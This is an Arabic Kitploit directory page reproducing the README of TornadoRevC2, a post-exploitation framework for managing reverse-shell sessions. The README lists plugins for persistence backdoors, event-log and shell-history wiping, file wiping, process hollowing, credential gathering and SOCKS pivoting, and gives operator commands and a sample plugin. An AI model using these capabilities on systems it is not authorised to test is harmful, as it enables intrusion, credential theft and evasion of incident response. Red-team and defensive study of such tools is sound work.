Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
TornadoRevC2 — إطار عمل معياري لما بعد الاستغلال يدير جلسات reverse-shell عبر TCP/TLS/mTLS مع إضافات للتعداد والتنفيذ في الذاكرة والتحويل عبر SOCKS5 والاستمرارية. | Kitploit
أدوات/GitHubGitHub/kamalx06/tornadorevc2
أطر اختبار الاختراقتصعيد الامتيازاتآليات الاستمراريةالحركة الجانبيةالبرمجة النصية والأتمتةجمع المعلوماتما بعد الاستغلالالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
2477منذ 21س 2دتمت المراجعة من قبل Kitploit
GitHub
kamalx06/tornadorevc2

TornadoRevC2

إطار عمل معياري لما بعد الاستغلال يدير جلسات reverse-shell عبر TCP/TLS/mTLS مع إضافات للتعداد والتنفيذ في الذاكرة والتحويل عبر SOCKS5 والاستمرارية.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

TornadoRevC2

إطار عمل خفيف الوزن ومعياري لما بعد الاستغلال للبحث الأمني المصرّح به، وعمليات الفريق الأحمر، واختبار الاختراق. يدير TornadoRevC2 جلسات الأوامر العكسية (reverse shell) على مضيفات Linux وWindows من خلال وحدة تحكم موحّدة للمشغّل، مع توسيع معالجة الجلسات الأساسية بمعمارية إضافات (plugins) متعددة المنصات لجرد المضيف، والوعي الظرفي، والمهام التشغيلية.

مهم: TornadoRevC2 هو معالج جلسات وإطار عمل لما بعد الاستغلال — وليس منصة قيادة وتحكم بنمط الـ beacon. فهو يعطي الأولوية للأوامر التفاعلية الموثوقة، وسير عمل المشغّل المنظّم، وتنفيذ الإضافات عند الطلب على البنية التحتية للوكلاء الدائمين.


إشعار قانوني

استخدم هذا البرنامج فقط على الأنظمة التي تملكها أو على الأنظمة التي لديك تفويض كتابي صريح عليها. أنت وحدك المسؤول عن الامتثال للقوانين المعمول بها والسياسات التنظيمية. لا يتحمل المؤلفون والمساهمون أي مسؤولية عن سوء الاستخدام أو فقدان البيانات أو العواقب القانونية الناشئة عن استخدام هذا المشروع.


عرض توضيحي

TornadoRevC2 Demo

عرض سريع: إدارة الجلسات، تنفيذ الإضافات، التمرير عبر SOCKS5.


جدول المحتويات

  • مقدمة
  • الميزات الرئيسية
  • فلسفة التصميم
  • المعمارية
  • المتطلبات والتثبيت
  • البدء السريع
  • مرجع المشغّل
  • الإضافات المدمجة
  • تطوير الإضافات
    • نظرة عامة على نظام الإضافات
    • موضع الإضافة
    • التسجيل
    • دورة حياة التنفيذ
    • النمط 1: إضافة shell بسيطة
    • النمط 2: جامع منظّم (موصى به)
    • النمط 3: معالج مخصص
    • جامعات Linux
    • جامعات Windows
    • اصطلاحات حمولة JSON
    • المُنسّقات المخصصة
    • الإضافات الخاصة بمنصة معينة
    • الإضافات الخارجية
    • واجهة SessionContext API
    • معالجة الأخطاء ورموز الإرجاع
    • أفضل الممارسات
    • التطبيقات المرجعية
  • تسجيل الجلسات
  • بنية المشروع
  • إعداد TLS وmTLS
  • الترخيص

  • مقدمة

    TornadoRevC2 هو إطار عمل معياري لإدارة الأوامر العكسية يقبل الاتصالات الواردة عبر TCP العادي، وTLS الموثّق من الخادم، وTLS المتبادل (mTLS) مع التحقق من شهادة العميل، مما يوفر وحدة تحكم موحّدة للمشغّل لإدارة الجلسات، واستطلاع المضيف، ونقل الملفات المُجزّأ، وتنفيذ الحمولات في الذاكرة، والتمرير عبر SOCKS5، والاستغلال اللاحق المدفوع بالإضافات، وإعداد التقارير المنظّمة، وأمر update مدمج للتحديثات التلقائية القائمة على Git وإعادة تشغيل المعالج بسلاسة. طُوِّر المشروع في الأصل كمعالج أوامر عكسية خفيف الوزن، وتطوّر ليصبح إطار عمل قابلًا للتوسيع تُنفَّذ فيه قدرات مثل جرد جدار الحماية، وجمع بيانات مخزن بيانات الاعتماد الوصفية، ورسم خرائط الشبكة، وتوصيف المتصفح، ووظائف إضافية لما بعد الاستغلال كإضافات مستقلة ومعيارية. يتضمن الإطار أيضًا إضافة make_token لإنشاء جلسات C2 جديدة عبر بروتوكولات عن بُعد (SSH، WinRM، SMB، RDP، WMI، MSSQL) باستخدام أدوات سطر الأوامر من جانب المشغّل، مع دعم المنافذ المخصصة، ومصادقة تجزئة NTLM، وتكامل netexec، وإضافة upgrade_mtls التي تنقل جلسة حيّة إلى مستمع TLS المتبادل عبر دفع حزمة شهادة عميل المعالج إلى الهدف.

    منصات الأهداف المدعومة: Linux وWindows (أساسيًا)، مع توافق مع بيئات Unix وBSD العامة حيث ينطبق ذلك.


    الميزات الرئيسية

    الفئةالقدرات
    معالجة الجلساتمستمعات TCP / TLS / mTLS متعددة العملاء مع تمهيد PKI تلقائي · ترقية mTLS عند الطلب للجلسات الحيّة · أوامر PTY/TTY تفاعلية · بصمة الجلسة وتتبع إعادة الاتصال
    نقل الملفاترفع وتنزيل مُجزّأ · التحقق من السلامة عبر SHA-256
    تنفيذ الحمولاتالتنفيذ في الذاكرة لـ py وps وexe وelf وbat وsh
    التمرير والأنفاقوكيل SOCKS5 عبر الجلسات المخترقة مع تنظيف عن بُعد تلقائي · نشر وكيل Ligolo-NG وChisel مع استمرارية في الخلفية
    إنشاء جلسات عن بُعدmake_token — إنشاء جلسات جديدة عبر SSH وWinRM وSMB وRDP وWMI وMSSQL من جانب المشغّل، مع مصادقة تجزئة NTLM وتكامل netexec
    انتحال الهويةrunas — تنفيذ أوامر أو إنشاء shell مشفّر بـ TLS كمستخدم آخر، محليًا أو عن بُعد، مع دعم النطاق وتكامل netexec
    الجرديغطي فرز المضيف، ووضعية الشبكة، وبيانات الاعتماد وبيانات المتصفح الوصفية، وتذاكر Kerberos، ودواخل Linux، ونطاق Windows وإعدادات النظام
    الإضافات التشغيليةمحو آمن للملفات على عدة مراحل · تشفير هجين للملفات · مسح سجل الأوامر · مسح سجل أحداث Windows
    الاستمراريةتثبيت باب خلفي متعدد المنصات باستخدام حمولات مشفّرة بـ TLS — cron @reboot على Linux/Unix، وسجل Run على Windows
    قابلية التوسيعتحميل وإعادة تحميل وإلغاء تحميل الإضافات في وقت التشغيل · إضافات خارجية عبر TORNADOREVC2_PLUGIN_DIR · واجهة SessionContext موثّقة
    إعداد التقاريرتسجيل لكل جلسة · مخرجات إضافات منظّمة · تصدير نص HTML
    التحديث الذاتيأمر update القائم على Git مع التحقق من المستودع، وسحب fast-forward، وإعادة تشغيل المعالج تلقائيًا · متوافق مع التفرّع (fork)، مع كشف التباعد ومطالبة إعادة تعيين آمنة

    غير مدعوم: جدولة المهام، أو البنية التحتية للاستدعاء بنمط beacon.


    فلسفة التصميم

    صُمِّم TornadoRevC2 للبيئات التي تكون فيها عوائق النشر والبصمة التشغيلية مهمة.

    تصميم خفيف الاعتماديات قائم على الأوامر الأصلية

    تستفيد الإضافات من أدوات Windows وLinux الأصلية والأوامر النظامية المدمجة الموجودة بالفعل على المضيف الهدف — netsh وss وiptables وufw وfirewall-cmd وnft وcmdlets الخاصة بـ PowerShell وnmcli وwevtutil وغيرها. تستدعي الجامعات هذه الأدوات عبر قناة الأوامر العكسية وتحلّل المخرجات عن بُعد، مما يقلل الحاجة إلى رفع ثنائيات إضافية أو تثبيت اعتماديات.

    لا إسقاط لملفات على جانب الهدف

    تُنفَّذ عمليات الإضافات عبر قناة الأوامر العكسية الموجودة ولا تتطلب إسقاط ثنائيات أو ملفات تنفيذية أو نصوص برمجية أو ملفات مؤقتة على النظام الهدف. تُشغَّل مهام الجرد كأوامر أصلية أو نصوص جامعات داخل العملية؛ وتُعاد النتائج كـ JSON مُعلَّم عبر الـ shell. الأثر الوحيد الذي لا مفر منه هو سجل الأوامر العادي الذي يولّده الـ shell نفسه.

    التدهور السلس

    عندما تفشل روتين جرد، أو تكون غير متاحة، أو تنتهي مهلتها، لا تُلغى الإضافة بالكامل. يُترك القسم المتأثر فارغًا أو يُعلَّم بـ N/A بينما يستمر باقي التقرير.

    الصيانة من جانب المشغّل

    تُسلَّم تحديثات المعالج عبر Git على جهاز المشغّل. يستخدم أمر update مهلًا محدودة للعمليات الفرعية، وإعدادات Git غير التفاعلية، ومسار إيقاف محلي سريع حتى يتمكن المعالج من إعادة التشغيل بشكل موثوق دون التعطّل في انتظار تنظيف الجلسات عن بُعد.


    المعمارية```text

    ┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### إعداد المستمع
    
    يشغّل TornadoRevC2 **ثلاثة مستمعين مستقلين في آنٍ واحد**، بحيث يمكن للـ implants الاتصال عبر النص العادي، أو TLS المُصادَق عليه من الخادم، أو TLS المُصادَق عليه بشكل متبادل اعتمادًا على نموذج التهديد الخاص بالعملية:
    
    | المستمع | المنفذ الافتراضي | العلامة | المصادقة | الشهادات |
    |----------|--------------|------|----------------|--------------|
    | TCP      | `4444`       | `-p` | لا شيء           | لا شيء |
    | TLS      | `8443`       | `-tp` | مُصادَق عليه من الخادم | `tls_certs/server.pem`, `tls_certs/server.key` |
    | mTLS     | `9443`       | `-mp` | متبادل (شهادة العميل مطلوبة) | حزمة `mtls_certs/` (CA + الخادم + العميل) |
    
    تحدد العلامة `-H` عنوان الربط المشترك بين المستمعين الثلاثة. يمكن تمكين الثلاثة جميعًا في وقت واحد؛ تعطيل أحدها غير مطلوب حاليًا — اترك المنفذ حرًا أو غير مربوط لتجاهله.
    
    **توليد الشهادات التلقائي.** عند التشغيل الأول، ينشئ المعالج دليلين معزولين ويهيّئ المواد التي يحتاجها:```text
    tls_certs/
      server.pem          # self-signed server certificate
      server.key          # server private key
    
    mtls_certs/
      ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
      ca.key              # CA private key
      ca.srl              # OpenSSL serial counter (auto-generated)
      server-mtls.pem     # server cert signed by CA
      server-mtls.key     # server private key
      client.pem          # client cert signed by CA — ship to implant
      client.key          # client private key  — ship to implant
    

    تخطيط الإضافة```text

    tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery

    root@kitploit:~
    **الإضافات المشتركة** (`firewall`، `ports`، `browser`، `credstore`، وغيرها) موجودة كوحدات موحّدة فردية في `shared/`. **الإضافات الخاصة بالنظام الأساسي** مثل `rdp` و `eventlogdel` توجد حصريًا تحت `windows/` أو `linux/` ولا يتم تكرارها في `shared/`.
    
    تُصدر أدوات الجمع مخرجات JSON ملفوفة بعلامات مميزة (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). يقوم المشغّل المشترك بتحليل هذه المخرجات، وتنسيق تقرير موجّه للمشغّل، وحفظ النتائج في دليل سجل الجلسة.
    
    ---
    
    ## المتطلبات والتثبيت
    
    **المعالج (جهاز المشغّل):**
    
    - Python 3.7 أو أحدث
    - OpenSSL (للتوليد التلقائي لشهادات TLS و mTLS)
    - Git (اختياري؛ مطلوب لأمر المشغّل `update`)
    - لا حاجة لحزم Python من طرف ثالث```bash
    git clone https://github.com/kamalx06/TornadoRevC2.git
    cd TornadoRevC2
    python3 tornadorevc2.py
    

    البدء السريع

    1. تشغيل المعالج```bash

    Default: TCP on 4444, TLS on 8443, mTLS on 9443

    python tornadorevc2.py

    Custom bind address and ports for all three listeners

    python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443

    Point to your own certificate material

    python tornadorevc2.py
    -c tls_certs/server.pem -k tls_certs/server.key
    --mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
    --mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
    --mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key

    root@kitploit:~
    ### 2. إنشاء جلسة
    
    انشر reverse shell من الكتالوج المدمج (`payloads`) أو استخدم implant الخاص بك. عند الاتصال، يقوم TornadoRevC2 بتعيين معرّف جلسة ويبدأ التسجيل تحت `logs/`.
    
    ### 3. التشغيل```bash
    status                          # List active sessions
    switch 1                        # Attach to session 1
    sysinfo 1                       # Collect host metadata
    run credstore 1                 # Credential store metadata
    run memorymap 1 1234            # Process memory maps (requires PID)
    run inmemory 1 sh ./linpeas.sh  # In-memory script execution
    update                          # Pull latest from GitHub and restart (Git installs)
    

    عند الاتصال عبر switch <ID>، احذف معرّف الجلسة من الأوامر اللاحقة (run quickenum بدلاً من run quickenum 1). يتم تصفية قوائم الإضافات وإكمال TAB داخل جلسة العميل لتشمل فقط الإضافات المتوافقة مع نظام تلك الجلسة.

    يتوفر أمر update من موجه المعالج الرئيسي فقط. يتحقق من تثبيت Git، ويؤكد أن التثبيت عبارة عن شجرة عمل Git، ويجلب من المستودع البعيد المُهيأ، ويقوم بسحب fast-forward عند وجود تحديثات، ويعيد تشغيل المعالج بنفس الملف التنفيذي والوسائط. إذا كان التثبيت محدثاً بالفعل، فإنه يطبع TornadoRevC2 is already running the latest version. ويترك الخادم قيد التشغيل.


    مرجع المشغّل

    إدارة الجلسات

    الأمرالوصف
    status / lsعرض جلسات reverse shell النشطة
    sessionsعرض الجلسات المتتبعة، بما في ذلك المضيفين غير المتصلين
    reconnectsعرض سجل إعادة اتصال الجلسات
    switch <ID>الاتصال بصدفة جلسة تفاعلية
    kill <ID>إنهاء جلسة
    rename <ID> <name> / rn <ID> <name>تعيين اسم ودّي
    sysinfo <ID> [--stealth|--full]جمع أو تحديث معلومات المضيف
    export <ID>تصدير نص جلسة HTML

    الإضافات

    الأمرالوصف
    plugins / plugins listعرض الإضافات المسجلة
    plugins list --verboseعرض مسارات الوحدات وحالة التحميل
    plugins load <name>تحميل إضافة خارجية في وقت التشغيل
    plugins unload <name>تعطيل أو إلغاء تحميل إضافة
    plugins reload <name>إعادة تحميل وحدة إضافة
    plugins info <name>عرض بيانات وصفية للإضافة
    run <plugin> <ID> [args...]تنفيذ إضافة على جلسة

    نقل الملفات

    الأمرالوصف
    upload [--resume] <ID> <local> <remote>رفع مع نقل مجزأ
    download [--resume] <ID> <remote> <local>تنزيل مع نقل مجزأ
    verify <ID> <remote> / hash <ID> <remote>التحقق من حجم الملف البعيد وSHA-256

    التنفيذ في الذاكرة

    الأمرالوصف
    run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>]تنفيذ الحمولة في الذاكرة

    الأنواع المدعومة: py، ps، exe، elf، bat، sh

    التوجيه الشبكي

    الأمرالصيغة داخل الجلسةالوصف
    socks <ID> <listen_port>socks <listen_port>بدء وكيل SOCKS5 عبر جلسة (مستمع محلي على 127.0.0.1:<listen_port>)
    socks <ID> test <host> <port>socks test <host> <port>اختبار إمكانية الوصول عبر TCP إلى مضيف داخلي عبر وكيل النفق
    socks <ID> resetsocks resetإعادة تعيين تدفقات وكيل النفق وتجاهل البيانات المخزنة مؤقتاً (لا يوقف مستمعي SOCKS النشطين)
    socks stop <proxy_id>socks stop <proxy_id>إيقاف وكيل SOCKS وتنظيف آثار النفق البعيد عندما لا يستخدم أي وكيل آخر الجلسة
    tunnelstunnelsعرض وكلاء SOCKS النشطين وعدد القنوات والحالة

    عام

    الأمرالوصف
    payloadsعرض مرجع الحمولات المدمج
    updateالتحقق من التحديثات من مستودع GitHub الرسمي وإعادة التشغيل بعد سحب fast-forward ناجح (يتطلب Git؛ القائمة الرئيسية فقط)
    helpعرض مرجع الأوامر
    exit / quitإيقاف تشغيل المعالج

    الإضافات المدمجة

    يأتي TornadoRevC2 مع 51 إضافة مدمجة منظمة حسب الوظيفة. جميع الإضافات المتعلقة بالاستكشاف للقراءة فقط ما لم يُذكر خلاف ذلك.

    تقييم المضيف والبيئة

    الإضافةالنظام الأساسيالوصف
    quickenumمتعدد الأنظمةفرز سريع منظم للمضيف: الهوية، الشبكة، البيئة، النتائج ذات الأولوية
    virtualizationمتعدد الأنظمةاكتشاف البيئات الافتراضية والحاويات والتنسيق والسحابة
    kernelمتعدد الأنظمةإصدار النواة، الوحدات/برامج التشغيل المحملة، التخفيفات الأمنية، وتكوين النواة
    integrityمتعدد الأنظمةSecure Boot، BitLocker/LUKS، فرض توقيع الكود، قفل النواة، وحمايات السلامة
    filesearchمتعدد الأنظمةالبحث عن الملفات حسب المسار، الاسم، الامتداد، الحجم، المالك، mtime (run filesearch help للخيارات)
    packagesمتعدد الأنظمةالبرامج المثبتة، مديرو الحزم، تكوين المستودعات، والتثبيتات الحديثة
    sysinfoمتعدد الأنظمةجمع بيانات المضيف الوصفية (أمر المعالج، وليس إضافة)
    kerberosenumمتعدد الأنظمةبيانات تذاكر Kerberos الوصفية: ذاكرات التخزين المؤقت، المدير الافتراضي، النطاق، TGT، تذاكر الخدمة، أنواع التشفير، الأعلام (renewable/forwardable)، ملفات keytab، تكوين krb5.conf/registry، ومتغيرات البيئة (بدون أسرار)

    الشبكة والاتصال

    الإضافةالنظام الأساسيالوصف
    firewallمتعدد الأنظمةحالة الجدار الناري، الملفات الشخصية/المناطق، السياسات، والقواعد البارزة (WDF، UFW، firewalld، nftables، iptables)
    portsمتعدد الأنظمةالمنافذ المستمعة، الاتصالات القائمة، العمليات المالكة، والتوجيه
    proxyمتعدد الأنظمةإعدادات الوكيل على مستوى النظام والبيئة وPAC/WPAD والمتصفح
    vpnمتعدد الأنظمةعملاء VPN، الاتصالات النشطة، المحولات، وبيانات التكوين الوصفية

    بيانات الاعتماد والمتصفحات والتطبيقات

    الإضافةالنظام الأساسيالوصف
    credstoreمتعدد الأنظمةبيانات مخزن بيانات الاعتماد الوصفية (بدون استخراج أسرار): Credential Manager، keyrings، مخازن المتصفح
    browserمتعدد الأنظمةالمتصفحات المثبتة، الملفات الشخصية، الإضافات، الإشارات المرجعية، وسياسات المؤسسة
    clipboardمتعدد الأنظمةالتقاط نص الحافظة البعيد
    secretsLinux/Unixملفات التكوين، متغيرات البيئة، مفاتيح SSH، وبيانات اعتماد السحابة

    داخليات المضيف

    الإضافةالنظام الأساسيالوصف
    historyمتعدد الأنظمةسجل الصدفة، سجلات الحزم/التحديثات، ونشاط تسجيل الدخول الأخير
    mountsمتعدد الأنظمةنقاط التحميل، مشاركات SMB/NFS، الأقراص المعيّنة، أنظمة ملفات الحاويات
    memorymapمتعدد الأنظمةخرائط ذاكرة العملية والوحدات المحملة لـ PID محدد
    screenshotمتعدد الأنظمةالتقاط سطح المكتب وإعادته إلى المشغّل (جلسات GUI؛ يتم حفظ PNG محلياً)
    cronLinux/Unixمهام Cron، crontabs النظام، crontabs المستخدم، وقوائم at
    systemdLinux/Unixالخدمات، المؤقتات، الوحدات الفاشلة، ووحدات بدء التشغيل المفعّلة
    privbinsLinux/Unixملفات SUID/SGID التنفيذية، قدرات الملفات، والملفات التنفيذية ذات الصلة بتصعيد الامتيازات
    lsmLinux/UnixSELinux، AppArmor، ووحدات أمان Linux الأخرى: وضع الفرض، السياسات، والتكوين
    journalLinux/Unixملخصات journalctl المنظمة: المصادقة، النواة، فشل الخدمات، والأحداث الأخيرة
    sshauditLinux/Unixاستكشاف خادم SSH: تكوين sshd الفعّال، سطح المصادقة، خيارات التوجيه، مفاتيح المضيف، authorized_keys، وثقة CA
    containersLinux/Unixبيئات تشغيل الحاويات وأحمال العمل: Docker، Podman، containerd، CRI-O، LXC/LXD، ومؤشرات Kubernetes
    usersessionsمتعدد الأنظمةالجلسات المحلية والبعيدة وSSH وRDP والطرفية والخدمات النشطة مع بيانات تسجيل الدخول/المصدر الوصفية

    نطاق Windows والنظام

    الإضافةالنظام الأساسيالوصف
    adinfoWindowsعضوية النطاق، وحدات التحكم بالنطاق، الغابات، الثقات، والوحدات التنظيمية
    servicesWindowsخدمات Windows، أنواع بدء التشغيل، الملفات التنفيذية، وحسابات الخدمة
    scheduledtasksWindowsالمهام المجدولة، المشغلات، سياق التنفيذ، والإجراءات
    registryWindowsمفاتيح التشغيل التلقائي، مواقع بدء التشغيل، والبرامج المثبتة
    eventlogsWindowsملخصات سجلات Security وSystem وApplication وPowerShell
    defenderWindowsحالة Microsoft Defender، الاستثناءات، قواعد ASR، ومكافح الفيروسات من طرف ثالث
    certificatesWindowsمخازن الشهادات، توقيع الكود، وشهادات المؤسسة
    rdpWindowsتكوين Remote Desktop، الحالة، الأهداف الأخيرة، والإعدادات
    gpoWindowsGPOs المطبقة، سياسات الأمان المحلية/النطاق، AppLocker، WDAC، SRP، ونصوص GPO
    winrmWindowsتكوين WinRM، المستمعون، طرق المصادقة، تكامل الجدار الناري، وحالة الاتصال عن بعد
    driversWindowsبرامج التشغيل ووحدات النواة المثبتة، حالة التوقيع/عدم التوقيع، نوع بدء التشغيل، وبرامج التشغيل الأمنية/الافتراضية البارزة
    powershellWindowsإصدار PowerShell، سياسة التنفيذ، التسجيل، الوحدات، إعدادات الاتصال عن بعد، ومسارات الملف الشخصي
    lsaWindowsحماية LSA، Credential Guard، الأمان المعتمد على المحاكاة الافتراضية، وتكوين أمان بيانات الاعتماد

    التنفيذ والتشغيل

    الإضافةالنظام الأساسيالوصف
    inmemoryمتعدد الأنظمةتنفيذ الحمولة في الذاكرة (py، ps، exe، elf، bat، sh)
    make_tokenمتعدد الأنظمةإنشاء جلسات C2 عبر بروتوكولات بعيدة (SSH، WinRM، SMB، RDP، WMI، MSSQL) باستخدام أدوات CLI من جانب المشغّل مع دعم المنافذ المخصصة، تجزئات NTLM، وتكامل netexec
    nullcryptمتعدد الأنظمةتشفير هجين لملف (AES-GCM + مفتاح مغلف بـ RSA) ثم محو الأصل بشكل آمن عبر wiper
    wiperمتعدد الأنظمةكتابة فوق آمنة متعددة التمريرات قابلة للتكوين (إعادة تسمية، اقتطاع، حذف)؛ الملفات الشخصية: quick، standard، dod، thorough، shred
    historydelمتعدد الأنظمةمسح ملفات سجل صدفة المستخدم الحالي والتخزين المرتبط
    eventlogdelWindowsمسح سجلات أحداث Windows عبر wevtutil / Clear-EventLog الأصلية
    runasWindowsتنفيذ أوامر أو إنشاء reverse shell مشفّر بـ TLS كمستخدم آخر (محلي/بعيد) مع إدارة بيانات الاعتماد، دعم النطاق، وتكامل netexec
    ligolongمتعدد الأنظمةنشر وكيل نفق Ligolo‑NG إلى أهداف Linux/Windows مع استمرارية في الخلفية
    chiselمتعدد الأنظمةنشر وكيل نفق Chisel في وضع reverse (client) أو bind (server)؛ يدعم SOCKS5 والاستمرارية في الخلفية
    persistenceمتعدد الأنظمةتثبيت باب خلفي دائم لـ reverse shell (cron @reboot / Run registry) باستخدام حمولة مشفّرة بـ TLS
    upgrade_mtlsمتعدد الأنظمةدفع حزمة عميل mTLS الخاصة بالمعالج إلى جلسة وإعادة تشغيلها عبر مستمع mTLS (اختياري؛ لا يؤثر على المستمعين الآخرين)

    طرق التنفيذ في الذاكرة:

    النوعالطريقة
    pyPython عبر exec(compile(...))
    psPowerShell عبر Invoke-Expression
    exeWindows PE عبر RunPE في الذاكرة (process hollowing)
    elfLinux ELF عبر memfd_create مع احتياطي /dev/shm
    shنص Shell يُبث عبر bash -s
    batنص Batch يُبث عبر cmd.exe /Q stdin

    نصوص PEASS-ng لفحص تصعيد الامتيازات في الذاكرة: github.com/carlospolop/PEASS-ng


    تطوير الإضافات

    يصف هذا القسم كيفية توسيع TornadoRevC2 بإضافات مخصصة. الإضافات هي وحدات Python عادية تسجّل الأوامر باستخدام @plugin.command وتستقبل SessionContext للجلسة الهدف. لا يلزم إجراء تغييرات على كود المعالج الأساسي.

    نظرة عامة على نظام الإضافات

    يتكون نظام الإضافات من أربع طبقات:

    الطبقةالوحدةالمسؤولية
    التسجيلplugins/api.pyمُزخرف @plugin.command، سجل الأوامر العام، SessionContext
    الاكتشافplugins/loader.pyيفحص shared/ وlinux/ وwindows/ والمجلدات الخارجية؛ يستورد الوحدات
    التنفيذplugins/manager.pyيحل النظام الأساسي، يبني السياق، يستدعي المعالج، يتعامل مع الأخطاء
    المجمعاتplugins/shared/runner.pyتحليل العلامات، استخراج JSON، تنسيق التقرير، التسجيل

    عند الاستيراد، يسجّل مُزخرف @plugin.command كل معالج في سجل عام آمن للخيوط. في وقت التشغيل، يتحقق PluginManager.run_plugin() من توافق النظام الأساسي، ويبني SessionContext، ويستدعي المعالج بـ (session, args).

    تُرجع المعالجات رمز خروج صحيحاً: 0 للنجاح، غير صفري للفشل. تعرض وحدة تحكم المعالج تحذيرات للقيم غير الصفرية المُرجعة.

    موضع الإضافة

    اختر موقعاً بناءً على نطاق النظام الأساسي وما إذا كانت الإضافة تُشحن مع المشروع:

    الموقعالنطاقالتحميل
    tornadorevc2/plugins/shared/متعدد الأنظمة (تطبيقات Windows + Linux داخلية)تلقائياً عند بدء التشغيل
    tornadorevc2/plugins/linux/Linux/Unix فقطتلقائياً عند بدء التشغيل
    tornadorevc2/plugins/windows/Windows فقطتلقائياً عند بدء التشغيل
    ./plugins/myplugin.pyخارجي (أي نطاق تحدده)عند الطلب عبر plugins load
    ./plugins/myplugin/__init__.pyحزمة خارجيةعند الطلب عبر plugins load
    مسار في TORNADOREVC2_PLUGIN_DIRخارجي (مجلد مخصص)عند الطلب عبر plugins load

    قواعد التخطيط:

    • يتم تخطي الملفات المسماة common.py وrunner.py و__init__.py تحت shared/ أثناء الاكتشاف.
    • الملفات التي تبدأ بـ _ تحت linux/ أو windows/ هي وحدات مساعدة، وليست إضافات.
    • الإضافات المشتركة يجب أن تكون وحدة واحدة في shared/ مع تفرع داخلي حسب النظام الأساسي—لا تكرر الإضافات متعددة الأنظمة في كل من shared/ وlinux//windows/.
    • الإضافات الخاصة بنظام أساسي (مثل rdp، eventlogdel) تنتمي حصرياً إلى windows/ أو linux/.

    التسجيل

    سجّل أمراً باستخدام مُزخرف @plugin.command:```python from tornadorevc2.plugins import plugin, SessionContext

    @plugin.command( name="myplugin", # Command name used with run myplugin <ID> platforms=["linux", "windows", "unix"], # Supported session platforms description="Short description for plugins list and TAB completion", ) def run(session: SessionContext, args): ... return 0 # 0 = success, non-zero = failure

    root@kitploit:~
    **قيم المنصة:** `linux`، `windows`، `unix`. يتم التعامل مع Linux و `unix` كمتوافقين — الإضافة المسجلة لـ `linux` تعمل على كليهما. القيمة الافتراضية إذا تم حذفها: `["linux", "windows", "unix"]`.
    
    **أوامر متعددة لكل وحدة:** يمكن لملف واحد تسجيل عدة أوامر من خلال تطبيق `@plugin.command` على دوال متعددة. يحصل كل منها على اسم مستقل.
    
    ### دورة حياة التنفيذ
    
    عندما يشغّل المشغّل `run myplugin 1 arg1 arg2`:```text
    1. PluginManager resolves session #1 and looks up "myplugin" in the registry
    2. Platform check: plugin.platforms vs session shell type (unix/windows)
    3. SessionContext(handler, client_socket) is constructed
    4. Handler invoked: run(ctx, ["arg1", "arg2"])
    5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
    6. Output printed to operator console; results logged under logs/<session>/plugins/
    7. Exit code returned (0 = success)
    

    داخل جلسة مرفقة (switch <ID>)، يتم حذف معرّف الجلسة وتبدأ الوسائط مباشرة بعد اسم الإضافة: run myplugin arg1 arg2.

    النمط 1: إضافة shell بسيطة

    استخدمه عندما تحتاج إلى أمر سريع لمرة واحدة دون تحليل JSON منظم. يقوم المعالج بتشغيل أمر shell أصلي، وطباعة المخرجات، وتسجيل النتيجة.```python from tornadorevc2.plugins import plugin, SessionContext

    @plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")

    root@kitploit:~
    if session.is_windows:
        cmd = "whoami /all"
    else:
        cmd = "id 2>/dev/null || whoami"
    
    output = session.run_shell(cmd, timeout=10.0)
    if not output.strip():
        session.print("Plugin 'whoami' failed — no output from target.", "red")
        session.log_plugin_result("whoami", "", "no output")
        return 1
    
    report = output.strip()
    session.print(report, "cyan")
    session.log_plugin_result("whoami", report)
    session.log_command("run whoami", report)
    return 0
    
    root@kitploit:~
    **متى تستخدم:** استكشافات بسيطة، تعداد بأمر واحد، أوامر لا تحتاج إلى تقارير منظمة.
    
    **الطرق الأساسية:** `session.run_shell(cmd, timeout)`، `session.print(text, color)`، `session.log_plugin_result(name, report, detail='')`.
    
    ### النمط 2: جامع منظم (موصى به)
    
    استخدمه لإضافات التعداد التي تجمع بيانات منظمة على الهدف وتعيد تقريرًا منسقًا. هذا هو النمط المستخدم في جميع إضافات الاستطلاع المدمجة (`firewall`، `ports`، `browser`، إلخ).
    
    **التدفق:**```text
    Handler                              Target host
      │                                       │
      ├─ session.log_event("started")         │
      ├─ flush shell buffer                   │
      ├─ resolve platform (unix/windows)      │
      ├─ build collector command/script ─────►│  Linux: inline Python or native shell
      │                                       │  Windows: PowerShell script in-process
      │                                       ├─ invoke native OS commands
      │                                       ├─ assemble result dict
      │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
